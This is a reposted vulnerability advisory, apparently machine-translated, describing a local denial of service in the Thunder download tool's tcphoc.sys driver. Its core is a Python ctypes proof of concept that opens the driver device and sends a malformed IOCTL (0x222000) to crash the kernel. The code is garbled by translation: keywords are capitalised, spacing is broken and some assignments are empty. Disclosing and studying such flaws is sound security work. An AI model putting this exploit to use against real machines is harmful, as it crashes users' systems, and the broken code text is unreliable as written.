Thunder tcphoc. sys Driver local denial of service vulnerability and repair

Source: Internet
Author: User

Affected Versions:
Thunder vulnerability description:
Thunder is a popular P2P download tool.

The thunder tcphoc. sys driver does not correctly verify the call parameters submitted by the user. Local Users can submit malicious IOCTL requests to cause kernel crash. <* Reference
Http://www.wooyun.org/bug.php? Action = view & id = 314
*>
Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
#! /Usr/bin/python

From ctypes import *

Kernel32 = windll. kernel32
Psapi = windll. Psapi

If _ name _ = _ main __:
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

DEVICE_NAME = "\. \ tcphoc"
DwReturn = c_ulong ()
Out_size = 1024
In_size = 1024
In_data =
Out_data =
Driver_handle1 = kernel32.CreateFileA (DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
In_data = 1024 * x80
Dev_ioctl = kernel32.DeviceIoControl (driver_handle1, 0x222000, in_data, 0, out_data, 0, byref (dwReturn), None)

Security suggestion: get official patches in time

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.